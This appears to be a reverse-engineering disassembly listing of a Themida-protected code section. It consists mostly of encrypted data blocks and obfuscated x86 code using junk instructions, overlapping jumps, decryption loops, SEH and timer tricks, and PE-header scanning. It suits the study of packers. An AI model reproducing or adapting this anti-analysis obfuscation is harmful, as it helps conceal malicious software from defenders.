dd 1116400h, 3010E8C1h, 21144h, 58031164h, 7504E983h, 501BEBE7h
dd 2810E8C1h, 30031164h, 58021144h, 1116428h, 83110430h
dd 0E77504E9h, 0C08B00EBh, 0BD8BDE8Bh
dd 6101FD1h, 22C1BD83h, 0F030610h, 3FB85h, 6860F00h, 8B000000h
dd 100871BDh, 0CB816606h, 0BD83B55Dh, 613C26Dh, 0DD840F00h
dd 31000003h, 1019D585h, 6DB5FF06h, 6A0613C2h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 19042444h, 40000000h
dd 0BD1AC350h, 6B3C38EDh, 0F8D9D01h, 95FF0610h, 6102FA5h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 15h, 0C7C35646h
dd 8B97B74Ah, 13C261B5h, 50006A06h, 3E8h, 0C3582000h, 24448958h
dd 24448104h, 1404h, 0C3504000h, 106C7C9h, 6A000100h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
dd 23CDC352h, 58FEC032h, 0BDF1882h, 101C1D9Dh, 0FA8B6606h
dd 43FBBB50h, 34896C15h, 0FFFA8A24h, 13C26DB5h, 0AE906h
dd 0B5A60000h, 51FFD74Eh, 635000BEh, 122595FFh, 0F7800610h
dd 61B58B29h, 6A0613C2h, 3E85300h, 20000000h, 895BC35Bh
dd 8104245Ch, 16042444h, 43000000h, 1C7C353h, 10BB6637h
dd 0EF8166F4h, 858B5D18h, 61021D1h, 1CADBD8Bh, 86890610h
dd 0C4h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 16h, 0CFC35141h, 9D8BD35Eh, 610057Dh, 0AADBD8Bh, 958B0610h
dd 61009F5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 18h, 0EC35040h, 43EB4A0Fh, 0D98B6660h, 2A798531h, 83610610h
dd 6A04C2h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 170424h
dd 57470000h, 0DAAD3FC3h, 20508919h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 19h, 7DC35242h, 7FD4B99Dh, 0BE9E7h
dd 0D9A0000h, 89BE9809h, 0D7DFC1A5h, 0C2858D16h, 6A0613D7h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 1B042444h
dd 40000000h, 1DBC350h, 86EF00C3h, 8689E993h, 0B8h, 3D8D31F5h
dd 6A06102Ah, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1A04h, 0C3534300h, 5BC517AAh, 0FFFD1ACh, 38Ch, 0B5C38000h
dd 0C26DB5FFh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 150424h, 51410000h, 6681B5C3h, 1F54EB81h, 49595FFh
dd 52960610h, 9E9h, 0F4541A00h, 0C4CFE29Ch, 505F177Fh
dd 118D0Fh, 52500000h, 820Fh, 310F0000h, 0F4F9BFBBh, 96585A33h
dd 0C26DB5FFh, 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1D0424h, 56460000h, 3905BFC3h, 0A61C1973h, 0FFB0024Eh
dd 10162D95h, 11E906h, 39130000h, 3E80C381h, 0AE082152h
dd 0D0F9B697h, 83F330F5h, 101351BDh, 840F0006h, 2Fh, 0CE8h
dd 8589DE00h, 472AEFF4h, 0EDAF0D3h, 5830FD7h, 66000000h
dd 93D8C781h, 6E9505Bh, 0C8000000h, 19973798h, 243489E8h
dd 0FFDF8B66h, 13C26DB5h, 57006A06h, 3E8h, 0C35F2000h
dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 3125C354h
dd 9A0DDF81h, 0EF8000A1h, 1995FFAEh, 906100Ch, 101D058Dh
dd 6DB5FF06h, 0FC0613C2h, 162195FFh, 85090610h, 61011BDh
dd 0F89BD83h, 0F020610h, 4F84h, 0B1BD2300h, 8B061014h
dd 1010C585h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
dd 1404h, 0C3574700h, 8E842h, 90D80000h, 6CB04673h, 8960206Dh
dd 102E0195h, 0C99D2906h, 61061027h, 0C6D88B5Fh, 9D8B0000h
dd 6101571h, 2A2585C7h, 610h, 6A0000h, 3E857h, 5F200000h
dd 7C895FC3h, 44810424h, 160424h, 57470000h, 0C681F2C3h
dd 0B509F9B3h, 6100DF1h, 0FFF43DE9h, 9BD8BFFh, 8B061016h
dd 0F38166C1h, 0BAB22Ah, 81F00E10h, 0EAh, 14C283F0h, 0C899589h
dd 0EA830610h, 55858D14h, 50061545h, 35FF64h, 64000000h
dd 2589h, 0E80000h, 58000000h, 25C22Bh, 66FFFFF0h, 5A4D3881h
dd 12850Fh, 0B70F0000h, 0D0033C50h, 45503A81h, 840F0000h
dd 0Ah, 10002Dh, 0FFD9E900h, 0C88BFFFFh, 1FD58589h, 40030610h
dd 50B70F3Ch, 8D958906h, 8B06101Ah, 95895050h, 6101B39h
dd 0F805h, 0C508B00h, 9589D103h, 610091Dh, 89085003h, 1023F595h
dd 58F6406h, 0
; ---------------------------------------------------------------------------
add esp, 4
jmp loc_59F9D3
; ---------------------------------------------------------------------------
push ecx
mov ecx, [esp+10h]
sub dword ptr [ecx+0B0h], 1000h
pop ecx
xor eax, eax
retn
; ---------------------------------------------------------------------------
loc_59F9D3: ; CODE XREF: Themida_:0059F9BBj
cmp dword ptr [ebp+6103105h], 0
jz loc_59FA04
mov byte ptr [ebp+61023E5h], 47h
push 0D49AA7D2h
push dword ptr [ebp+6101D45h]
lea eax, [ebp+613858Ah]
call eax
push 0
call eax
mov [ebp+6100C4Dh], eax
loc_59FA04: ; CODE XREF: Themida_:0059F9DAj
mov edx, ebx
call loc_59FA1D
sbb dl, [ebx+4049DA3Dh]
sbb eax, 57545B4Dh
out 78h, eax
mov cl, 3Eh
xchg eax, ecx
jo short near ptr loc_59FA42+1
loc_59FA1D: ; CODE XREF: Themida_:0059FA06p
movsx edx, di
pop edi
sub edx, 439A67D7h
add edi, 5DE2h
mov dl, 95h
xor eax, eax
loc_59FA31: ; CODE XREF: Themida_:loc_59FACFj
mov ecx, [edi+eax]
movsx esi, di
add ecx, 2E560BF8h
call sub_59FA56
loc_59FA42: ; CODE XREF: Themida_:0059FA1Bj
and [edi], dh
das
sbb dword ptr [ecx], 0D4437422h
or [ecx-60D81557h], edx
add al, 0FAh ; CODE XREF: sub_59FA56+6Dj
; ---------------------------------------------------------------------------
db 0FEh
db 0D2h, 0AFh
; =============== S U B R O U T I N E =======================================
sub_59FA56 proc near ; CODE XREF: Themida_:0059FA3Dp
arg_0 = dword ptr 4
; FUNCTION CHUNK AT 0059FAC2 SIZE 00000005 BYTES
adc si, 97B2h
pop esi
xor ecx, 5CBC6140h
call near ptr loc_59FA75+1
jo short loc_59FAC2
inc esp
daa
mov [esp+ecx*8-4+arg_0], ebp
mov dword ptr [ebx-7], 0C18899Bh
loc_59FA75: ; CODE XREF: sub_59FA56+Cp
mov esi, 5B84EF80h
sub_59FA56 endp ; sp-analysis failed
sub ecx, 39FB4BB2h
mov edx, edi
push ecx
mov si, 0E2E5h
pop dword ptr [edi+eax]
xor bx, 0E981h
sbb dl, 6Fh
sub eax, 4
adc si, 809h
cmp eax, 0FFFFA2F4h
jnz loc_59FAB6
adc dh, 6Ah
jmp loc_59FAE5
; ---------------------------------------------------------------------------
dw 0D414h
dd 247B41E8h
db 65h, 95h
; ---------------------------------------------------------------------------
loc_59FAB6: ; CODE XREF: Themida_:0059FAA0j
jmp loc_59FACF
; ---------------------------------------------------------------------------
db 89h
dd 16ED5B64h
; ---------------------------------------------------------------------------
mov ch, 3Eh
; START OF FUNCTION CHUNK FOR sub_59FA56
loc_59FAC2: ; CODE XREF: sub_59FA56+11j
dec ebp
jle short near ptr loc_59FA51+1
setalc
retn
; END OF FUNCTION CHUNK FOR sub_59FA56
; ---------------------------------------------------------------------------
das
jge short near ptr loc_59FB39+8
retf
; ---------------------------------------------------------------------------
lodsd
db 2Eh
mov bl, 7Dh
loc_59FACF: ; CODE XREF: Themida_:loc_59FAB6j
jmp loc_59FA31
; ---------------------------------------------------------------------------
dd 0EC1ABC78h, 0F2FA90E9h, 0A6E544A7h, 0F75CF0E5h
db 81h
; ---------------------------------------------------------------------------
loc_59FAE5: ; CODE XREF: Themida_:0059FAA9j
lea ecx, [ebp+6154768h]
movzx esi, cx
mov [ebp+61009F5h], ecx
push 0
push esi
call sub_59FAFF
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59FAFF proc near ; CODE XREF: Themida_:0059FAF7p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 1Ch
inc esi
push esi
retn
sub_59FAFF endp
; ---------------------------------------------------------------------------
and dh, 0E3h
or al, dl
push 39h
dec edx
xchg eax, ebp
pusha
or [ebp+6103075h], eax
pusha
mov ecx, [ebp+61020CDh]
add [ebp+6102D45h], eax
popa
popa
mov dword ptr [ebp+6102319h], 60A0h
stc
loc_59FB39: ; CODE XREF: Themida_:0059FAC8j
mov dword ptr [ebp+61022C1h], 0
push 0
push eax
call sub_59FB4E
and [eax-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59FB4E proc near ; CODE XREF: Themida_:0059FB46p
arg_4 = dword ptr 8
pop eax
mov [esp-4+arg_4], eax
add [esp-4+arg_4], 17h
inc eax
push eax
retn
sub_59FB4E endp
; ---------------------------------------------------------------------------
dw 645Ah
dd 0BD89E1F2h, 6100101h, 302DBD89h, 0B5FF0610h, 6102ED5h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0D1C35040h
dd 0BE9DCh, 6CEF0000h, 2A1658A2h, 62B17468h, 0B995FFC3h
dd 6A06102Dh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch
dd 17042444h, 47000000h, 0F2CEC357h, 0B5898713h, 6100B21h
dd 95FF006Ah, 61031C9h, 1CEBC08Bh, 35A7D9F3h, 0E389D4C3h
dd 557D15D5h, 550CC57Eh, 0BFF64CD7h, 0BB4128CEh, 22A4B94Dh
dd 48108D8Dh, 850B0615h, 6100CA1h, 9F58D89h, 6A0610h, 3E853h
dd 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
dd 2FB9C6C3h, 1985C713h, 30061023h, 80000074h, 85C7C7D3h
dd 61022C1h, 0
; ---------------------------------------------------------------------------
push 0
push ecx
call sub_59FC47
and [ecx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_59FC47 proc near ; CODE XREF: Themida_:0059FC3Fp
arg_4 = dword ptr 8
pop ecx
mov [esp-4+arg_4], ecx
add [esp-4+arg_4], 16h
inc ecx
push ecx
retn
sub_59FC47 endp
; ---------------------------------------------------------------------------
push ss
enter 0FFFFB777h, 2Bh
push dword ptr [ebp+61000CDh]
mov edi, [ebp+6100249h]
call dword ptr [ebp+6102DB9h]
mov esi, [ebp+6102A6Dh]
push 0
call dword ptr [ebp+61031C9h]
mov eax, eax
jmp short loc_59FCBE
; ---------------------------------------------------------------------------
pop ebp
xchg eax, esp
loc_59FC82: ; CODE XREF: Themida_:0059FCDAj
cwde
arpl sp, sp
pop ss
dec edi
jnz short near ptr loc_59FCCC+1
mov bl, 93h
and al, 3Dh
cmc
jnp short loc_59FCD8
xchg eax, ebx
imul esp, ds:0A4707F07h[edx*4], 6Bh
pop es
in eax, 47h
xchg eax, esp
call far ptr 0EEDh:23968503h
and [ebx+esi], bh
aad 0E5h
insd
aas
mov eax, ds:64A6E2BDh
jle short near ptr loc_59FCF7+1
aad 1Ah
sub eax, esp
retf
; ---------------------------------------------------------------------------
db 0B8h
dd 0FE144D2Ch
db 44h, 0C2h
; ---------------------------------------------------------------------------
loc_59FCBE: ; CODE XREF: Themida_:0059FC7Ej
xchg eax, ecx
or es:[ebx+73h], ebp
mov word ptr [eax+2Ah], es
dec esi
in eax, 40h ; Timer 8253-5 (AT: 8254.2).
db 3Eh
cmps byte ptr ds:[esi], byte ptr es:[edi]
loc_59FCCC: ; CODE XREF: Themida_:0059FC87j
mov byte ptr [esi], 0DCh
clc
outsd
xor al, 0ABh
mov ds:0A2E30467h, al
loc_59FCD8: ; CODE XREF: Themida_:0059FC8Ej
std
inc eax
jecxz short loc_59FC82
mov al, ds:0C6E3216h
nop
in al, 69h
cmp [ecx-71AE5615h], ah
mov ebp, 0F556B1Bh
mov al, ds:258635E6h
pop ebx
aad 0C7h
loc_59FCF7: ; CODE XREF: Themida_:0059FCB0j
mov dh, 0E0h
inc eax
xchg eax, edi
mov edi, 667A13B6h
pop esi
inc ebx
cld
cmpsb
out 0C9h, al ; DMA controller, 8237A-5.
; request register bits:
; 0-1: select channel (00=0; 01=1; 10=2; 11=3)
; 2: 1=set request bit for channel; 0=reset request
stc
retn
; ---------------------------------------------------------------------------
dd 2B3850E8h, 0B4A7557Bh, 0FD5CBFE0h, 337AC3BEh, 0A6E550E6h
dd 0F5A15792h, 0A6FC435Eh, 0C3F9C9E6h, 2B3850E8h, 0B4AA447Bh
dd 0FD5CBFE0h, 267826BEh, 0C77EC946h, 8FF750E3h, 0B6F98D73h
dd 0CCBCCBE0h, 0A5D613E6h, 861F40E6h, 2FD483BDh, 27C364BAh
dd 0B0E764A2h, 0E5F140E6h, 0BB483B5h, 76F7267Fh, 15E6CC80h
dd 0A91BE856h, 0A68C9F62h, 0F4C72AE6h, 0A6E3430Eh, 65AB60E6h
dd 82ACC9BCh, 8238C1E2h, 0A63E55E2h, 654D02E6h, 33042C97h
dd 0A0D7610Fh, 8BF2FD65h, 0A9F146F6h, 0A6F80462h, 117320E6h
dd 1BB3CB27h, 0C71950F8h, 0A68CDF0Fh, 0F7C72AE6h, 0A6E3430Eh
dd 65A860E6h, 82B4C9BFh, 8238C1E2h, 0A63E54E2h, 654E01E6h
dd 2F32CB26h, 4FC150E3h, 0A6E340E1h, 438068B8h, 0AD31E5E7h
dd 0B6619573h, 813EFEE0h, 699F42E6h, 0A10ACD9Ah, 59C1539Fh
dd 0F37ECB36h, 23F750D5h, 4A7C4F26h, 2F7C40E6h, 0B636C96Bh
dd 0F127C1E0h, 0A974C180h, 0A6C70563h, 0A75ECBE6h, 2FF750E7h
dd 0B6F5695Bh, 0DEFD26E0h, 0A93C42E2h, 0A61C1A62h, 0F58F2AE6h
dd 0A6C7430Eh, 65B860E6h, 82ADC9BDh, 82BCC1E2h, 0A67C5DE2h
dd 656D03E6h, 2906C454h, 0F629563Ah, 2791BB4Fh, 0B137A029h
dd 27971AF6h, 0A998DCDEh, 0A67CCA63h, 0CBB371E6h, 261950F8h
dd 0A967429Eh, 0A6C73A63h, 0F5E32AE6h, 0A6F1430Eh, 65A360E6h
dd 8220C9BDh, 827AC1E2h, 0A61F57E2h, 65DC03E6h, 0F457B12Dh
dd 83DFF80h, 0A089C180h, 23F7EBE6h, 0A67C40ADh, 4E69408Ch
dd 0A61F40E5h, 0F94C1FC6h, 0A2E33C6Fh, 0A2C70467h, 0A6F140FEh
dd 173B17A1h, 24108FFCh, 0A63E4F0Eh, 893C78E6h, 0FF0D0BBBh
dd 0A44E1560h, 7F948BB7h, 0BFE4DD6Dh, 1FA246F6h, 0C0CB43A4h
dd 0A63CDE0Fh, 239AC9E6h, 188950C4h, 0E0C641E6h, 881EDD6Dh
dd 237C46F6h, 0A0EB39E1h, 9195C180h, 0CCEEBF21h, 0A5F712E6h
dd 868F40E6h, 2F9D83BCh, 27E764B2h, 0BEF564A2h, 0E4F840E6h
dd 11C583B4h, 275155A9h, 0EC1B690Dh, 6F02CBD4h, 23C150F6h
dd 0B3674F26h, 0CCF140E4h, 0A51011E6h, 867C40E6h, 2F6783BFh
dd 271B64AAh, 0BE8B64A2h, 0E7C740E6h, 1C3C83B7h, 27288AC9h
dd 0A4C526DEh, 91F94FE4h, 1C3E40E6h, 0C3F7DFE1h, 0C0893867h
dd 0A9BD1FDBh, 0A6E14E62h, 0F0F12AE6h, 0A6F8430Eh, 652260E6h
dd 824AC9B8h, 825BC1E2h, 0A68F55E2h, 659106E6h, 3B6A62BAh
dd 0A0E15A77h, 279E9157h, 0A91CDCDEh, 0A63E7E63h, 0DF92CBE6h
dd 268950C8h, 0A92F429Eh, 0A6E36E63h, 0E36CCBE6h, 2FFE50E6h
dd 0B668E173h, 0DEBF26E0h, 0A9DF40E0h, 0A68F5663h, 0A75AC9E6h
dd 4FE550D6h, 0A6F1414Dh, 0E74326B0h, 18C5199Fh, 180C1949h
dd 0D81E41E6h, 4EDA408Ch, 0A6C740E5h, 0FB201DC6h, 0A2D52C6Fh
dd 0A2DC0467h, 0A67C40FFh, 0A1FD15A3h, 934F02D7h, 0CF3A4160h
dd 2BC150E8h, 0B59A4763h, 0A37C4FE0h, 1DF840E6h, 841901AFh
dd 94FBC56Fh, 76E046F6h, 4ED9408Ch, 0A6C740E5h, 0F8201EC6h
dd 0A2D5346Fh, 0A2DC0467h, 0A67C40F1h, 71FD16A0h, 23B1331Eh
dd 5B0B4F26h, 0CCC740E6h, 0A50B15E6h, 86F140E6h, 2FA583BBh
dd 2778648Ah, 0B03A64A2h, 0E31F40E6h, 690183B3h, 0C400C076h
dd 0A90B7866h, 0A6F11963h, 26A1F2E6h, 0A90F459Eh, 0A63E0D63h
dd 0A60FA9E6h, 0DCD440E6h, 25D8D33Ah, 9F98244Fh, 86803D3Fh
dd 0DE78999Fh, 227313E1h, 0A63E4039h, 4E4A408Ch, 0A68F40E5h
dd 0FB041DC6h, 0A2C72C6Fh, 0A2D50467h, 0A6F840F2h, 0F0BF15A3h
dd 0A634A813h, 86040E6h, 0F293473Ah, 4793DD00h, 27851A1Fh
dd 0A9F4CFDEh, 0A6F82F63h, 1BF1C9E6h, 263850E8h, 0A977469Eh
dd 0A68F1F63h, 6F784FE6h, 0AD9BC180h, 23FE6519h, 0A6F840B6h
dd 4E2B408Ch, 0A63E40E5h, 0F9DC1FC6h, 0A2AB3C6Fh, 0A2E30467h
dd 0A6E340F2h, 923217A1h, 2F32CB86h, 0B66D0163h, 0FAD721E0h
dd 0CC1F40E6h, 0A56717E6h, 86C740E6h, 2FBC83B9h, 27F5649Ah
dd 0B1FC64A2h, 0E17C40E6h, 6A2C83B1h, 1B96C08Bh, 0A09F6753h
dd 19A180CDh, 970A6FE5h, 0CCF140E6h, 0A51016E6h, 867C40E6h
dd 2F6083B8h, 271B6492h, 0B38B64A2h, 0E0C740E6h, 0ECB883B0h
dd 0A6F14A0Fh, 1A529DE6h, 0D5BD31CAh, 1EE4E947h, 0A61F40E7h
dd 0A68AA9B6h, 56FE40E6h, 2FE1BAA6h, 0A69B64E2h, 0A6FBA8B3h
dd 0FB5C40E6h, 0CAB71D25h, 0E29E44C2h, 0A69B44C2h, 0F38240E6h
dd 27EC8B25h, 0A6F140E3h, 42700F5Fh, 0F5C1CDACh, 2B3855AEh
dd 0B352366Bh, 0F3ACF8E0h, 23C43780h, 0A0F361DBh, 0E6188FCDh
dd 8CD81E41h, 0E54EDA40h, 0C6A6C740h, 6FFB201Dh, 67A2D52Ch
dd 0FFA2DC04h, 5E98340h, 6058A4F3h, 1FD98D8Bh, 850F0610h
dd 1, 6A61FCh, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 1C0424h, 56460000h, 5D0C4DC3h, 5A51231Ah, 0C00B1086h
dd 81840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
dd 150424h, 56460000h, 8D47BAC3h, 104E85B5h, 0DE806h, 0AABB0000h
dd 361D6B6Ah, 0F61C8D0h, 0E9915907h, 14h, 4C77E87Ah, 0D0681616h
dd 615E6D8Ah, 44C325C5h, 0A7FEC971h, 3B859h, 0E6FF0000h
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 17h, 0FC35040h
dd 0F49C093h, 682h, 0D1958900h, 40061023h, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 48C35040h, 9D8B0D22h
dd 6101435h, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1B0424h, 50400000h, 0B06490C3h, 0A58E3ABAh, 0D3816680h
dd 83F8EC53h, 10158DBDh, 9750006h, 95BD83h, 74000610h
dd 8B535019h, 403B8C0h, 85890000h, 610132Dh, 0B87C9D8Dh
dd 0D3FF0612h, 0BD83585Bh, 6100095h, 50177400h, 403B853h
dd 85890000h, 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 0CD80585Bh
dd 0FB8B66EDh, 6AC08Bh, 3E850h, 58200000h, 448958C3h, 44810424h
dd 1C0424h, 50400000h, 0E84259C3h, 0A27C082Fh, 0DE61C3C8h
dd 0D4D4712Ah, 1DC4B46h, 0D4C8557Fh, 6398525Ch, 0A9A90B33h
dd 0F1982633h, 0EF5E265Ah, 338805D6h, 0FFB44E60h, 0F867A5E4h
dd 0A0883B76h, 0D612A3BEh, 79672020h, 0DB71A3BAh, 0D71B2023h
dd 33881736h, 831D2933h, 0C0982633h, 0B3D70EB6h, 0D6157635h
dd 0AF8D6929h, 3D0DD963h, 839E363Ch, 35982664h, 1F152359h
dd 4B8D6919h, 0BC1DAB63h, 39E337Ch, 0A199B3CCh, 14932023h
dd 6AA1A23Ch, 0B0152633h, 9C8D6919h, 4DAACE63h, 0F6D82633h
dd 1CA8A3BEh, 24C82026h, 0C1D70CB6h, 0FF677635h, 33882462h
dd 1794E2B0h, 58D70CB6h, 23157635h, 558D6929h, 400DD963h
dd 3D9E363Ch, 6A982651h, 6474AD66h, 11CE7464h, 8DAB2E4Eh
dd 0A69824DAh, 0D3DF6633h, 2C97260Ch, 2B67D9C6h, 1713EF00h
dd 35B2CF3Bh, 48AB2633h, 0A71831B9h, 0E868AD03h, 5AAD63h
dd 0A9982C88h, 0D49BCF33h, 896F2633h, 3566A57Dh, 656CA13Ch
dd 4EC3D9CCh, 0EEDF7EFBh, 0D697E638h, 5667D9FDh, 8EC6E7B8h
dd 0A8517F6Ch, 88152637h, 9C8D692Bh, 1DD5ABBEh, 93202026h
dd 78000000h, 271E7FCh, 0C8D00731h, 4904C783h, 0FFF2850Fh
dd 0B58DFFFFh, 615504Dh, 506C8D8Dh, 0CF2B0615h, 8B05E983h
dd 375820C8h, 3731C854h, 6A121001h, 5BBB55C2h, 73B30025h
dd 37270625h, 62770101h, 898D63C2h, 447859B1h, 5DEAAC67h
dd 34DA4701h, 17320801h
dd 0BE6DC75Eh, 0B636267Dh, 2E362545h, 70328001h, 2DCE8356h
dd 48EE26ADh, 25EB8D8Ah, 0DE520E11h, 37320412h, 29F17564h
dd 42602BC1h, 74F74FE8h, 625A0176h, 3853E03Ah, 3732168Eh
dd 86878301h, 56341408h, 0B33D06A9h, 37320385h, 0DF65806Bh
dd 37324002h, 68F17F21h, 33166C88h, 33164C80h, 3732041Dh
dd 0E7F15546h, 0E1C6C7EFh, 0EC92E65h, 3BE5C167h, 268FA34Fh
dd 3734002Ch, 37008C0Eh, 7EDB0401h, 5D320203h, 34DA5701h
dd 17328001h, 0BE6C835Fh, 0B6360475h, 2F363445h, 71320801h
dd 4DEC757h, 0DE5F1704h, 37320109h, 73662A64h, 997C9AB1h
dd 61607051h, 373203E8h, 36A21E01h, 18F5ECABh, 53A85590h
dd 6F2E2A33h, 0B8435241h, 0DE034F5Eh, 3732200Fh, 0F0A411C5h
dd 0F16CB0BCh, 34439A65h, 6F68DBEBh, 5D160588h, 34DAD101h
dd 17324001h, 0BE6BE358h, 0B636344Dh, 2A362C45h, 76320401h
dd 0E0F4C150h, 0BF651E86h, 48880FC6h, 137E410Eh, 0FA8846FFh
dd 0E4B9488Ah, 381EC882h, 37320687h, 0BCF3B501h, 35BF0E09h
dd 0BC328001h, 7FB926F0h, 67324AFDh, 373213E9h, 0F46A2801h
dd 13768D59h, 13768305h, 37321605h, 0F462C001h, 75FD9012h
dd 373232E8h, 3D153F01h, 0EE0FE89Ah, 5E149B38h, 524E8349h
dd 515A9FBCh, 0C804B980h, 37CBC40Eh, 0B2BB2001h, 312216BCh
dd 5D3BC982h, 34DA5601h, 17320201h, 0BE68C25Bh, 0B636A455h
dd 2C366445h, 75322001h, 7BC5D353h, 6B5C6C97h, 4D897A14h
dd 0B762A8FBh, 0B23DE838h, 37328121h, 0DF63406Bh, 37322002h
dd 6EF14921h, 33164488h, 33164080h, 37320214h, 50F15040h
dd 82BBE018h, 31224EE8h, 3722AD0Eh, 3DDA1001h, 8C320801h
dd 0CDAE68D0h, 69B19C27h, 0BC535E3Eh, 23DA8140h, 6B324001h
dd 32E487A5h, 0BDFE11DBh, 3E4E8D40h, 86C81D68h, 0BC645C09h
dd 2736E494h, 0FF31DE07h, 140FF502h, 0F6B12611h, 64327A04h
dd 37320BE9h, 0F4692401h, 136E8B5Ah, 13768005h, 37329B05h
dd 0F4610301h, 0DD92301h, 0B62C02F4h, 1D07B58Ah, 0EB30211h
dd 0BC714991h, 37B0840Eh, 37588001h, 3731A853h, 6D122001h
dd 63BB4AC2h, 73B30C25h, 372B0025h, 65700201h, 49AE51C2h
dd 0BA56CA4Fh, 277CC58Ch, 62324A07h, 373213E9h, 0F46F2801h
dd 135E8D5Ch, 13768305h, 37321B05h, 0F467C501h, 9073DC68h
dd 0B6BC72ACh, 5C7EAFCEh, 3731B004h, 88540401h, 0D6CD5F76h
dd 0DF61016Bh, 37328002h, 6CF11B21h, 33167C88h, 33165480h
dd 3732081Ah, 0FFF15742h, 3C909361h, 51C003F1h, 539F5680h
dd 67322A60h, 373223E9h, 0F46A3001h, 13768159h, 13768505h
dd 37321405h, 0F4624101h, 0DE4E4BE9h, 3732400Dh, 0F64D3EC9h
dd 39944C70h, 0DE86202Ah, 675CB98Ch, 0BABF0414h, 312752B8h
dd 0A5B1F4B9h, 82B77300h, 1C343008h, 375820CEh, 3731C854h
dd 6A121001h, 5BBB55C2h, 73B30025h, 37270625h, 62770101h
dd 0F305E983h, 6AC08BA4h, 3E85000h, 20000000h, 8958C358h
dd 81042444h, 19042444h, 40000000h, 0DFF4C350h, 73944E60h
dd 0D45BD89h, 10E90610h, 0D7000000h, 0CC8DCC32h, 0E46AFD56h
dd 5BDE29FCh, 8BB20E8Fh, 6E8C3h, 0BFF0000h, 141B547Fh
dd 4D08B866h, 0C88B665Ah, 5D3AC281h, 0DFBB0000h, 0BE40E1E3h
dd 793B6C15h, 0AB0EC681h, 8D3386C4h, 6102E59h, 9D2B3A8Bh
dd 6100089h, 0B338F781h, 7CB41FD8h, 8E6FC781h, 0B5502CB8h
dd 0C7815B4Dh, 5F9F1731h, 89C2BF0Fh, 0DE83Ah, 95990000h
dd 93BF31DAh, 0CAB4F3B0h, 0E9704D50h, 5, 0C04B6BB8h, 0EA8358D1h
dd 1EE8304h, 22850Fh, 8E0F0000h, 6, 6CD8589h, 29E90610h
dd 6B000000h, 0D49E51DFh, 1C0D7F7Ah, 0F8AE635Ah, 0FDA5390h
dd 0FFFF8BE9h, 2F76EAFFh, 5BEAD596h, 8B9E9E3Bh, 2113D4BDh
dword_5A0934 dd 0EB3DEA7Fh, 55D98D8Dh, 8D0F0615h, 6, 0BCDBD29h, 8D890610h
; DATA XREF: Themida_:0054E52Co
dd 61009F5h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
dd 16h, 96C35343h, 9D09A112h, 6100D51h, 231985C7h, 5D6C0610h
dd 8B660000h, 0C185C7FAh, 61022h, 6A000000h, 3E85700h
dd 20000000h, 895FC35Fh, 8104247Ch, 17042444h, 47000000h
dd 6F0FC357h, 95012BEEh, 61030C1h, 0B9BB6653h, 9D8B5E13h
dd 6101CD5h, 0BB9B5FFh, 6A0610h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 140424h, 50400000h, 12E86AC3h, 0E1000000h
dd 73436134h, 4A9630Bh, 3ED375DCh, 0CEB52643h, 0AE95E86h
dd 57000000h, 0EF78152Eh, 9F05DD2Eh, 0B995FF12h, 6A06102Dh
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1D042444h
dd 43000000h, 3FBFC353h, 0B49C66C3h, 0D8B6A48Dh, 58F0F50h
dd 0BE000000h, 7FBA10E3h, 0FF006A58h, 1031C995h, 0EBC08B06h
dd 0DA5B6B4Fh, 1AFAE887h, 37D3DCBAh, 0E28CCAE8h, 0B4D94EDFh
dd 435DF728h, 0F3FF290Fh, 601325D5h, 0B955F672h, 281B98DCh
dd 0C641AD04h, 0C1BAF195h, 5BA420E6h, 6976CC2Dh, 278C05F8h
dd 46339701h, 0BE8EC570h, 0CD1DC0A7h, 0AF92EF8Ch, 0D7A9D423h
dd 12E8h, 538C5100h, 760F6A56h, 160DA97Ah, 361E4195h, 5F8B2053h
dd 68C0Fh, 8D2B0000h, 61022A1h, 701FC781h, 66530000h, 0C2EAC981h
dd 0FC9CBB5Ah, 0F3817B9Ah, 7B9AE749h, 8B02DD80h, 618D8B07h
dd 8106100Ch, 1EE367E8h, 0BD8B6021h, 61008D1h, 7E960h
dd 64BB0000h, 4693B53Dh, 15858950h, 61061007h, 8DC08161h
dd 8B40E583h, 102DA5B5h, 0C5C08106h, 0F12E505h, 1F80h
dd 81666000h, 0E974DAC7h, 13h, 43B0C371h, 0C2E1C3B0h, 0D6EEA0EEh
dd 0B232D5AEh, 61B86B47h, 12E90789h, 96000000h, 1EF392CBh
dd 63B314B0h, 3C4A391h, 47A1E90Fh, 4EF8310h, 2A318D8Bh
dd 0EB810610h, 1, 0FF71850Fh, 8D8BFFFFh, 61013FDh, 57AC8D8Dh
dd 0B52B0615h, 6102179h, 9F58D89h, 0F98A0610h, 231985C7h
dd 6DC80610h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
dd 160424h, 53430000h, 32B6EEC3h, 85C7C68Bh, 61022C1h
dd 0
; ---------------------------------------------------------------------------
push 0
push ebp
